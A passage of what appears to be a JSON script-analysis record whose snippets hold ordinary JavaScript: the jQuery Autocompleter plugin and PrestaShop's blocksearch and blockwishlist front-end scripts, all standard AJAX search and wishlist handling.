{\t\tselect.unbind();\t\t$input.unbind();\t\t$(input.form).unbind(\".autocomplete\");\t});\t\t\tfunction selectCurrent() {\t\tvar selected = select.selected();\t\tif( !selected )\t\t\treturn false;\t\t\t\tvar v = selected.result;\t\tpreviousValue = v;\t\t\t\tif ( options.multiple ) {\t\t\tvar words = trimWords($input.val());\t\t\tif ( words.length > 1 ) {\t\t\t\tv = words.slice(0, words.length - 1).join( options.multipleSeparator ) + options.multipleSeparator + v;\t\t\t}\t\t\tv += options.multipleSeparator;\t\t}\t\t\t\t$input.val(v);\t\thideResultsNow();\t\t$input.trigger(\"result\", [selected.data, selected.value]);\t\treturn true;\t}\t\tfunction onChange(crap, skipPrevCheck) {\t\tif( lastKeyPressCode == KEY.DEL ) {\t\t\tselect.hide();\t\t\treturn;\t\t}\t\t\t\tvar currentValue = $input.val();\t\t\t\tif ( !skipPrevCheck && currentValue == previousValue )\t\t\treturn;\t\t\t\tpreviousValue = currentValue;\t\t\t\tcurrentValue = lastWord(currentValue);\t\tif ( currentValue.length >= options.minChars) {\t\t\t$input.addClass(options.loadingClass);\t\t\tif (!options.matchCase)\t\t\t\tcurrentValue = currentValue.toLowerCase();\t\t\trequest(currentValue, receiveData, hideResultsNow);\t\t} else {\t\t\tstopLoading();\t\t\tselect.hide();\t\t}\t};\t\tfunction trimWords(value) {\t\tif ( !value ) {\t\t\treturn [\"\"];\t\t}\t\tvar words = value.split( options.multipleSeparator );\t\tvar result = [];\t\t$.each(words, function(i, value) {\t\t\tif ( $.trim(value) )\t\t\t\tresult[i] = $.trim(value);\t\t});\t\treturn result;\t}\t\tfunction lastWord(value) {\t\tif ( !options.multiple )\t\t\treturn value;\t\tvar words = trimWords(value);\t\treturn words[words.length - 1];\t}\t\t// fills in the input box w/the first match (assumed to be the best match)\t// q: the term entered\t// sValue: the first matching result\tfunction autoFill(q, sValue){\t\t// autofill in the complete box w/the first match as long as the user hasn't entered in more data\t\t// if the last user key pressed was backspace, don't autofill\t\tif( options.autoFill && (lastWord($input.val()).toLowerCase() == q.toLowerCase()) && lastKeyPressCode != KEY.BACKSPACE ) {\t\t\t// fill in the value (keep the case the user has typed)\t\t\t$input.val($input.val() + sValue.substring(lastWord(previousValue).length));\t\t\t// select the portion of the value not typed by the user (so the next character will erase)\t\t\t$.Autocompleter.Selection(input, previousValue.length, previousValue.length + sValue.length);\t\t}\t};\tfunction hideResults() {\t\tclearTimeout(timeout);\t\ttimeout = setTimeout(hideResultsNow, 200);\t};\tfunction hideResultsNow() {\t\tvar wasVisible = select.visible();\t\tselect.hide();\t\tclearTimeout(timeout);\t\tstopLoading();\t\tif (options.mustMatch) {\t\t\t// call search and run callback\t\t\t$input.search(\t\t\t\tfunction (result){\t\t\t\t\t// if no value found, clear the input box\t\t\t\t\tif( !result ) {\t\t\t\t\t\tif (options.multiple) {\t\t\t\t\t\t\tvar words = trimWords($input.val()).slice(0, -1);\t\t\t\t\t\t\t$input.val( words.join(options.multipleSeparator) + (words.length ? options.multipleSeparator : \"\") );\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\t$input.val( \"\" );\t\t\t\t\t}\t\t\t\t}\t\t\t);\t\t}\t\tif (wasVisible)\t\t\t// position cursor at end of input field\t\t\t$.Autocompleter.Selection(input, input.value.length, input.value.length);\t};\tfunction receiveData(q, data) {\t\tif ( data && data.length && hasFocus ) {\t\t\tstopLoading();\t\t\tselect.display(data, q);\t\t\tautoFill(q, data[0].value);\t\t\tselect.show();\t\t} else {\t\t\thideResultsNow();\t\t}\t};\tfunction request(term, success, failure) {\t\tif (!options.matchCase)\t\t\tterm = term.toLowerCase();\t\tvar data = cache.load(term);\t\t// recieve the cached data\t\tif (data && data.length) {\t\t\tsuccess(term, data);\t\t// if an AJAX url has been supplied, try loading the data now\t\t} else if( (typeof options.url == \"string\") && (options.url.length > 0) ){\t\t\t\t\t\tvar extraParams = {\t\t\t\ttimestamp: +new Date()\t\t\t};\t\t\t$.each(options.extraParams, function(key, param) {\t\t\t\textraParams[key] = typeof param == \"function\" ? param() : param;\t\t\t});\t\t\t\t\t\t$.ajax({\t\t\t\t// try to leverage ajaxQueue plugin to abort previous requests\t\t\t\tmode: \"abort\",\t\t\t\t// limit abortion to this input\t\t\t\tport: \"autocomplete\" + input.name,\t\t\t\tdataType: options.dataType,\t\t\t\turl: options.url,\t\t\t\tdata: $.extend({\t\t\t\t\tq: lastWord(term),\t\t\t\t\tlimit: options.max\t\t\t\t}, extraParams),\t\t\t\tsuccess: function(data) {\t\t\t\t\tvar parsed = options.parse && options.parse(data) || parse(data);\t\t\t\t\tcache.add(term, parsed);\t\t\t\t\tsuccess(term, parsed);\t\t\t\t}\t\t\t});\t\t} else {\t\t\t// if we have a failure, we need to empty the list -- this prevents the the [TAB] key from selecting the last successful match\t\t\tselect.emptyList();\t\t\tfailure(term);\t\t}\t};\t\tfunction parse(data) {\t\tvar parsed = [];\t\tvar rows = data.split(\"\\n\");\t\tfor (var i=0; i < rows.length; i++) {\t\t\tvar row = $.trim(rows[i]);\t\t\tif (row) {\t\t\t\trow = row.split(\"|\");\t\t\t\tparsed[parsed.length] = {\t\t\t\t\tdata: row,\t\t\t\t\tvalue: row[0],\t\t\t\t\tresult: options.formatResult && options.formatResult(row, row[0]) || row[0]\t\t\t\t};\t\t\t}\t\t}\t\treturn parsed;\t};\tfunction stopLoading() {\t\t$input.removeClass(options.loadingClass);\t};};$.Autocompleter.defaults = {\tinputClass: \"ac_input\",\tresultsClass: \"ac_results\",\tloadingClass: \"ac_loading\",\tminChars: 1,\tdelay: 400,\tmatchCase: false,\tmatchSubset: true,\tmatchContains: false,\tcacheLength: 10,\tmax: 100,\tmustMatch: false,\textraParams: {},\tselectFirst: true,\tformatItem: function(row) { return row[0]; },\tformatMatch: null,\tautoFill: false,\twidth: 0,\tmultiple: false,\tmultipleSeparator: \", \",\thighlight: function(value, term) {\t\treturn value.replace(new RegExp(\"(?![^&;]+;)(?!<[^<>]*)(\" + term.replace(/([\\^\\$\\(\\)\\[\\]\\{\\}\\*\\.\\+\\?\\|\\\\])/gi, \"\\\\$1\") + \")(?![^<>]*>)(?![^&;]+;)\", \"gi\"), \"<strong>$1</strong>\");\t}, scroll: true, scrollHeight: 180};$.Autocompleter.Cache = function(options) {\tvar data = {};\tvar length = 0;\t\tfunction matchSubset(s, sub) {\t\tif (!options.matchCase) \t\t\ts = s.toLowerCase();\t\tvar i = s.indexOf(sub);\t\tif (i == -1) return false;\t\treturn i == 0 || options.matchContains;\t};\t\tfunction add(q, value) {\t\tif (length > options.cacheLength){\t\t\tflush();\t\t}\t\tif (!data[q]){ \t\t\tlength++;\t\t}\t\tdata[q] = value;\t}\t\tfunction populate(){\t\tif( !options.data ) return false;\t\t// track the matches\t\tvar stMatchSets = {},\t\t\tnullData = 0;\t\t// no url was specified, we need to adjust the cache length to make sure it fits the local data store\t\tif( !options.url ) options.cacheLength = 1;\t\t\t\t// track all options for minChars = 0\t\tstMatchSets[\"\"] = [];\t\t\t\t// loop through the array and create a lookup structure\t\tfor ( var i = 0, ol = options.data.length; i < ol; i++ ) {\t\t\tvar rawValue = options.data[i];\t\t\t// if rawValue is a string, make an array otherwise just reference the array\t\t\trawValue = (typeof rawValue == \"string\") ? [rawValue] : rawValue;\t\t\t\t\t\tvar value = options.formatMatch(rawValue, i+1, options.data.length);\t\t\tif ( value === false )\t\t\t\tcontinue;\t\t\t\t\t\t\tvar firstChar = value.charAt(0).toLowerCase();\t\t\t// if no lookup array for this character exists, look it up now\t\t\tif( !stMatchSets[firstChar] ) \t\t\t\tstMatchSets[firstChar] = [];\t\t\t// if the match is a string\t\t\tvar row = {\t\t\t\tvalue: value,\t\t\t\tdata: rawValue,\t\t\t\tresult: options.formatResult && options.formatResult(rawValue) || value\t\t\t};\t\t\t\t\t\t// push the current match into the set list\t\t\tstMatchSets[firstChar].push(row);\t\t\t// keep track of minChars zero items\t\t\tif ( nullData++ < options.max ) {\t\t\t\tstMatchSets[\"\"].push(row);\t\t\t}\t\t};\t\t// add the data items to the cache\t\t$.each(stMatchSets, function(i, value) {\t\t\t// increase the cache size\t\t\toptions.cacheLength++;\t\t\t// add to the cache\t\t\tadd(i, value);\t\t});\t}\t\t// populate any existing data\tsetTimeout(populate, 25);\t\tfunction flush(){\t\tdata = {};\t\tlength = 0;\t}\t\treturn {\t\tflush: flush,\t\tadd: add,\t\tpopulate: populate,\t\tload: function(q) {\t\t\tif (!options.cacheLength || !length)\t\t\t\treturn null;\t\t\t/* \t\t\t * if dealing w/local data and matchContains than we must make sure\t\t\t * to loop through all the data collections looking for matches\t\t\t */\t\t\tif( !options.url && options.matchContains ){\t\t\t\t// track all matches\t\t\t\tvar csub = [];\t\t\t\t// loop through all the data grids for matches\t\t\t\tfor( var k in data ){\t\t\t\t\t// don't search through the stMatchSets[\"\"] (minChars: 0) cache\t\t\t\t\t// this prevents duplicates\t\t\t\t\tif( k.length > 0 ){\t\t\t\t\t\tvar c = data[k];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\t// if we've got a match, add it to the array\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub.push(x);\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t}\t\t\t\t}\t\t\t\t\t\t\t\treturn csub;\t\t\t} else \t\t\t// if the exact item exists, use it\t\t\tif (data[q]){\t\t\t\treturn data[q];\t\t\t} else\t\t\tif (options.matchSubset) {\t\t\t\tfor (var i = q.length - 1; i >= options.minChars; i--) {\t\t\t\t\tvar c = data[q.substr(0, i)];\t\t\t\t\tif (c) {\t\t\t\t\t\tvar csub = [];\t\t\t\t\t\t$.each(c, function(i, x) {\t\t\t\t\t\t\tif (matchSubset(x.value, q)) {\t\t\t\t\t\t\t\tcsub[csub.length] = x;\t\t\t\t\t\t\t}\t\t\t\t\t\t});\t\t\t\t\t\treturn csub;\t\t\t\t\t}\t\t\t\t}\t\t\t}\t\t\treturn null;\t\t}\t};};$.Autocompleter.Select = function (options, input, select, config) {\tvar CLASSES = {\t\tACTIVE: \"ac_over\"\t};\t\tvar listItems,\t\tactive = -1,\t\tdata,\t\tterm = \"\",\t\tneedsInit = true,\t\telement,\t\tlist;\t\t// Create results\tfunction init() {\t\tif (!needsInit)\t\t\treturn;\t\telement = $(\"<div/>\")\t\t.hide()\t\t.addClass(options.resultsClass)\t\t.css(\"position\", \"absolute\")\t\t.appendTo(document.body);\t\t\tlist = $(\"<ul/>\").appendTo(element).mouseover( function(event) {\t\t\tif(target(event).nodeName && target(event).nodeName.toUpperCase() == 'LI') {\t active = $(\"li\", list).removeClass(CLASSES.ACTIVE).index(target(event));\t\t\t $(target(event)).addClass(CLASSES.ACTIVE); \t }\t\t}).click(function(event) {\t\t\t$(target(event)).addClass(CLASSES.ACTIVE);\t\t\tselect();\t\t\t// TODO provide option to avoid setting focus again after selection? useful for cleanup-on-focus\t\t\tinput.focus();\t\t\treturn false;\t\t}).mousedown(function() {\t\t\tconfig.mouseDownOnSelect = true;\t\t}).mouseup(function() {\t\t\tconfig.mouseDownOnSelect = false;\t\t});\t\t\t\tif( options.width > 0 )\t\t\telement.css(\"width\", options.width);\t\t\t\t\tneedsInit = false;\t} \t\tfunction target(event) {\t\tvar element = event.target;\t\twhile(element && element.tagName != \"LI\")\t\t\telement = element.parentNode;\t\t// more fun with IE, sometimes event.target is empty, just ignore it then\t\tif(!element)\t\t\treturn [];\t\treturn element;\t}\tfunction moveSelect(step) {\t\tlistItems.slice(active, active + 1).removeClass(CLASSES.ACTIVE);\t\tmovePosition(step); var activeItem = listItems.slice(active, active + 1).addClass(CLASSES.ACTIVE); if(options.scroll) { var offset = 0; listItems.slice(0, active).each(function() {\t\t\t\toffset += this.offsetHeight;\t\t\t}); if((offset + activeItem[0].offsetHeight - list.scrollTop()) > list[0].clientHeight) { list.scrollTop(offset + activeItem[0].offsetHeight - list.innerHeight()); } else if(offset < list.scrollTop()) { list.scrollTop(offset); } }\t};\t\tfunction movePosition(step) {\t\tactive += step;\t\tif (active < 0) {\t\t\tactive = listItems.size() - 1;\t\t} else if (active >= listItems.size()) {\t\t\tactive = 0;\t\t}\t}\t\tfunction limitNumberOfItems(available) {\t\treturn options.max && options.max < available\t\t\t? options.max\t\t\t: available;\t}\t\tfunction fillList() {\t\tlist.empty();\t\tvar max = limitNumberOfItems(data.length);\t\tfor (var i=0; i < max; i++) {\t\t\tif (!data[i])\t\t\t\tcontinue;\t\t\tvar formatted = options.formatItem(data[i].data, i+1, max, data[i].value, term);\t\t\tif ( formatted === false )\t\t\t\tcontinue;\t\t\tvar li = $(\"<li/>\").html( options.highlight(formatted, term) ).addClass(i%2 == 0 ? \"ac_even\" : \"ac_odd\").appendTo(list)[0];\t\t\t$.data(li, \"ac_data\", data[i]);\t\t}\t\tlistItems = list.find(\"li\");\t\tif ( options.selectFirst ) {\t\t\tlistItems.slice(0, 1).addClass(CLASSES.ACTIVE);\t\t\tactive = 0;\t\t}\t\t// apply bgiframe if available\t\tif ( $.fn.bgiframe )\t\t\tlist.bgiframe();\t}\t\treturn {\t\tdisplay: function(d, q) {\t\t\tinit();\t\t\tdata = d;\t\t\tterm = q;\t\t\tfillList();\t\t},\t\tnext: function() {\t\t\tmoveSelect(1);\t\t},\t\tprev: function() {\t\t\tmoveSelect(-1);\t\t},\t\tpageUp: function() {\t\t\tif (active != 0 && active - 8 < 0) {\t\t\t\tmoveSelect( -active );\t\t\t} else {\t\t\t\tmoveSelect(-8);\t\t\t}\t\t},\t\tpageDown: function() {\t\t\tif (active != listItems.size() - 1 && active + 8 > listItems.size()) {\t\t\t\tmoveSelect( listItems.size() - 1 - active );\t\t\t} else {\t\t\t\tmoveSelect(8);\t\t\t}\t\t},\t\thide: function() {\t\t\telement && element.hide();\t\t\tlistItems && listItems.removeClass(CLASSES.ACTIVE);\t\t\tactive = -1;\t\t},\t\tvisible : function() {\t\t\treturn element && element.is(\":visible\");\t\t},\t\tcurrent: function() {\t\t\treturn this.visible() && (listItems.filter(\".\" + CLASSES.ACTIVE)[0] || options.selectFirst && listItems[0]);\t\t},\t\tshow: function() {\t\t\tvar offset = $(input).offset();\t\t\telement.css({\t\t\t\twidth: typeof options.width == \"string\" || options.width > 0 ? options.width : ($(input).width() + parseInt($(input).css('padding-left')) + parseInt($(input).css('padding-right')) + parseInt($(input).css('margin-left')) + parseInt($(input).css('margin-right'))),\t\t\t\ttop: offset.top + input.offsetHeight,\t\t\t\tleft: offset.left\t\t\t}).show(); if(options.scroll) { list.css({\t\t\t\t\tmaxHeight: options.scrollHeight,\t\t\t\t\toverflow: 'auto'\t\t\t\t});\t\t\t\t if($.browser.msie && typeof document.body.style.maxHeight === \"undefined\") {\t\t\t\t\tvar listHeight = 0;\t\t\t\t\tlistItems.each(function() {\t\t\t\t\t\tlistHeight += this.offsetHeight;\t\t\t\t\t});\t\t\t\t\tvar scrollbarsVisible = listHeight > options.scrollHeight; list.css('height', scrollbarsVisible ? options.scrollHeight : listHeight );\t\t\t\t\tif (!scrollbarsVisible) {\t\t\t\t\t\t// IE doesn't recalculate width when scrollbar disappears\t\t\t\t\t\tlistItems.width( list.width() - parseInt(listItems.css(\"padding-left\")) - parseInt(listItems.css(\"padding-right\")) );\t\t\t\t\t} } }\t\t},\t\tselected: function() {\t\t\tvar selected = listItems && listItems.filter(\".\" + CLASSES.ACTIVE).removeClass(CLASSES.ACTIVE);\t\t\treturn selected && selected.length && $.data(selected[0], \"ac_data\");\t\t},\t\temptyList: function (){\t\t\tlist && list.empty();\t\t},\t\tunbind: function() {\t\t\telement && element.remove();\t\t}\t};};$.Autocompleter.Selection = function(field, start, end) {\tif( field.createTextRange ){\t\tvar selRange = field.createTextRange();\t\tselRange.collapse(true);\t\tselRange.moveStart(\"character\", start);\t\tselRange.moveEnd(\"character\", end);\t\tselRange.select();\t} else if( field.setSelectionRange ){\t\tfield.setSelectionRange(start, end);\t} else {\t\tif( field.selectionStart ){\t\t\tfield.selectionStart = start;\t\t\tfield.selectionEnd = end;\t\t}\t}\tfield.focus();};})(jQuery);",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var instantSearchQueries = [];$(document).ready(function(){\tif (typeof blocksearch_type == 'undefined')\t\treturn;\tvar $input = $(\"#search_query_\" + blocksearch_type);\tvar width_ac_results = \t$input.parent('form').outerWidth();\tif (typeof ajaxsearch != 'undefined' && ajaxsearch) {\t\t$input.autocomplete(\t\t\tsearch_url,\t\t\t{\t\t\t\tminChars: 3,\t\t\t\tmax: 10,\t\t\t\twidth: (width_ac_results > 0 ? width_ac_results : 500),\t\t\t\tselectFirst: false,\t\t\t\tscroll: false,\t\t\t\tdataType: \"json\",\t\t\t\tformatItem: function(data, i, max, value, term) {\t\t\t\t\treturn value;\t\t\t\t},\t\t\t\tparse: function(data) {\t\t\t\t\tvar mytab = [];\t\t\t\t\tfor (var i = 0; i < data.length; i++)\t\t\t\t\t\tmytab[mytab.length] = { data: data[i], value: data[i].cname + ' > ' + data[i].pname };\t\t\t\t\treturn mytab;\t\t\t\t},\t\t\t\textraParams: {\t\t\t\t\tajaxSearch: 1,\t\t\t\t\tid_lang: id_lang\t\t\t\t}\t\t\t}\t\t)\t\t.result(function(event, data, formatted) {\t\t\t$input.val(data.pname);\t\t\tdocument.location.href = data.product_link;\t\t});\t}\tif (typeof instantsearch != 'undefined' && instantsearch) {\t\t$input.on('keyup', function(){\t\t\tif($(this).val().length > 4)\t\t\t{\t\t\t\tstopInstantSearchQueries();\t\t\t\tinstantSearchQuery = $.ajax({\t\t\t\t\turl: search_url + '?rand=' + new Date().getTime(),\t\t\t\t\tdata: {\t\t\t\t\t\tinstantSearch: 1,\t\t\t\t\t\tid_lang: id_lang,\t\t\t\t\t\tq: $(this).val()\t\t\t\t\t},\t\t\t\t\tdataType: 'html',\t\t\t\t\ttype: 'POST',\t\t\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\t\t\tasync: true,\t\t\t\t\tcache: false,\t\t\t\t\tsuccess: function(data){\t\t\t\t\t\tif ($input.val().length > 0) {\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t\t\t$('#center_column').attr('id', 'old_center_column');\t\t\t\t\t\t\t$('#old_center_column').after('<div id=\"center_column\" class=\"' + $('#old_center_column').attr('class') + '\">' + data + '</div>').hide();\t\t\t\t\t\t\t// Button override\t\t\t\t\t\t\tajaxCart.overrideButtonsInThePage();\t\t\t\t\t\t\t$(\"#instant_search_results a.close\").on('click', function() {\t\t\t\t\t\t\t\t$input.val('');\t\t\t\t\t\t\t\treturn tryToCloseInstantSearch();\t\t\t\t\t\t\t});\t\t\t\t\t\t\treturn false;\t\t\t\t\t\t}\t\t\t\t\t\telse\t\t\t\t\t\t\ttryToCloseInstantSearch();\t\t\t\t\t}\t\t\t\t});\t\t\t\tinstantSearchQueries.push(instantSearchQuery);\t\t\t}\t\t\telse\t\t\t\ttryToCloseInstantSearch();\t\t});\t}});function tryToCloseInstantSearch(){\tvar $oldCenterColumn = $('#old_center_column');\tif ($oldCenterColumn.length > 0)\t{\t\t$('#center_column').remove();\t\t$oldCenterColumn.attr('id', 'center_column').show();\t\treturn false;\t}}function stopInstantSearchQueries(){\tfor(var i=0; i<instantSearchQueries.length; i++)\t\tinstantSearchQueries[i].abort();\tinstantSearchQueries = [];}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*//*** Update WishList Cart by adding, deleting, updating objects** @return void*///global variablesvar wishlistProductsIds = [];$(document).ready(function(){\twishlistRefreshStatus();\t$(document).on('change', 'select[name=wishlists]', function(){\t\tWishlistChangeDefault('wishlist_block_list', $(this).val());\t});\t$(\"#wishlist_button\").popover({\t\thtml: true,\t\tcontent: function () { \treturn $(\"#popover-content\").html(); \t} \t}); \t$('.wishlist').each(function() { \t\tcurrent = $(this); \t\t$(this).children('.wishlist_button_list').popover({ \t\t\thtml: true, \t\t\tcontent: function () { \t\t\t\treturn current.children('.popover-content').html(); \t\t\t} \t\t}); \t});});function WishlistCart(id, action, id_product, id_product_attribute, quantity, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdata: 'action=' + action + '&id_product=' + id_product + '&quantity=' + quantity + '&token=' + static_token + '&id_product_attribute=' + id_product_attribute + '&id_wishlist=' + id_wishlist,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'add')\t\t\t{\t\t\t\tif (isLogged == true) {\t\t\t\t\twishlistProductsIdsAdd(id_product);\t\t\t\t\twishlistRefreshStatus();\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + added_to_wishlist + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(added_to_wishlist);\t\t\t\t}\t\t\t\telse\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + loggin_required + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(loggin_required);\t\t\t\t}\t\t\t}\t\t\tif (action == 'delete') {\t\t\t\twishlistProductsIdsRemove(id_product);\t\t\t\twishlistRefreshStatus();\t\t\t}\t\t\tif($('#' + id).length != 0)\t\t\t{\t\t\t\t$('#' + id).slideUp('normal');\t\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t\t$('#' + id).slideDown('normal');\t\t\t}\t\t}\t});}/*** Change customer default wishlist** @return void*/function WishlistChangeDefault(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\turl: baseDir + 'modules/blockwishlist/cart.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tdata: 'id_wishlist=' + id_wishlist + '&token=' + static_token,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).slideUp('normal');\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).slideDown('normal');\t\t}\t});}/*** Buy Product** @return void*/function WishlistBuyProduct(token, id_product, id_product_attribute, id_quantity, button, ajax){\tif(ajax)\t\tajaxCart.add(id_product, id_product_attribute, false, button, 1, [token, id_quantity]);\telse\t{\t\t$('#' + id_quantity).val(0);\t\tWishlistAddProductCart(token, id_product, id_product_attribute, id_quantity)\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].method='POST';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].action=baseUri + '?controller=cart';\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].elements['token'].value = static_token;\t\tdocument.forms['addtocart' + '_' + id_product + '_' + id_product_attribute].submit();\t}\treturn (true);}function WishlistAddProductCart(token, id_product, id_product_attribute, id_quantity){\tif ($('#' + id_quantity).val() <= 0)\t\treturn (false);\t$.ajax({\t\t\ttype: 'GET',\t\t\turl: baseDir + 'modules/blockwishlist/buywishlistproduct.php?rand=' + new Date().getTime(),\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tdata: 'token=' + token + '&static_token=' + static_token + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute,\t\t\tasync: true,\t\t\tcache: false,\t\t\tsuccess: function(data)\t\t\t{\t\t\t\tif (data)\t\t\t\t{\t\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t\t{\t\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data + '</p>'\t\t\t\t\t\t\t}\t\t\t\t\t\t], {\t\t\t\t\t\t\tpadding: 0\t\t\t\t\t\t});\t\t\t\t\telse\t\t\t\t\t\talert(data);\t\t\t\t}\t\t\t\telse\t\t\t\t\t$('#' + id_quantity).val($('#' + id_quantity).val() - 1);\t\t\t}\t});\treturn (true);}/*** Show wishlist managment page** @return void*/function WishlistManage(id, id_wishlist){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'id_wishlist=' + id_wishlist + '&refresh=' + false,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\t$('#' + id).hide();\t\t\tdocument.getElementById(id).innerHTML = data;\t\t\t$('#' + id).fadeIn('slow');\t\t\t$('.wishlist_change_button').each(function(index) {\t\t\t\t$(this).popover({\t\t\t\t\thtml: true,\t\t\t\t\tcontent: function () {\t \t\t\t\treturn $(this).next('.popover-content').html();\t \t\t\t}\t \t\t \t});\t\t\t});\t\t}\t});}/*** Show wishlist product managment page** @return void*/function WishlistProductManage(id, action, id_wishlist, id_product, id_product_attribute, quantity, priority){\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: baseDir + 'modules/blockwishlist/managewishlist.php?rand=' + new Date().getTime(),\t\theaders: { \"cache-control\": \"no-cache\" },\t\tdata: 'action=' + action + '&id_wishlist=' + id_wishlist + '&id_product=' + id_product + '&id_product_attribute=' + id_product_attribute + '&quantity=' + quantity + '&priority=' + priority + '&refresh=' + true,\t\tcache: false,\t\tsuccess: function(data)\t\t{\t\t\tif (action == 'delete')\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\telse if (action == 'update')\t\t\t{\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('fast');\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeIn('fast');\t\t\t}\t\t\tnb_products = 0;\t\t\t$(\"[id^='quantity']\").each(function(index, element){\t\t\t\tnb_products += parseInt(element.value);\t\t\t});\t\t\t$(\"#wishlist_\"+id_wishlist).children('td').eq(1).html(nb_products);\t\t}\t});}/*** Delete wishlist** @return boolean succeed*/function WishlistDelete(id, id_wishlist, msg){\tvar res = confirm(msg);\tif (res == false)\t\treturn (false);\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\tdataType: \"json\",\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand: new Date().getTime(),\t\t\tdeleted: 1,\t\t\tmyajax: 1,\t\t\tid_wishlist: id_wishlist,\t\t\taction: 'deletelist'\t\t},\t\tsuccess: function(data)\t\t{\t\t\tvar mywishlist_siblings_count = $('#' + id).siblings().length;\t\t\t$('#' + id).fadeOut('slow').remove();\t\t\t$(\"#block-order-detail\").html('');\t\t\tif (mywishlist_siblings_count == 0)\t\t\t\t$(\"#block-history\").remove();\t\t\tif (data.id_default)\t\t\t{\t\t\t\tvar td_default = $(\"#wishlist_\"+data.id_default+\" > .wishlist_default\");\t\t\t\t$(\"#wishlist_\"+data.id_default+\" > .wishlist_default > a\").remove();\t\t\t\ttd_default.append('<p class=\"is_wish_list_default\"><i class=\"icon icon-check-square\"></i></p>');\t\t\t}\t\t}\t});}function WishlistDefault(id, id_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand:new Date().getTime(),\t\t\t'default': 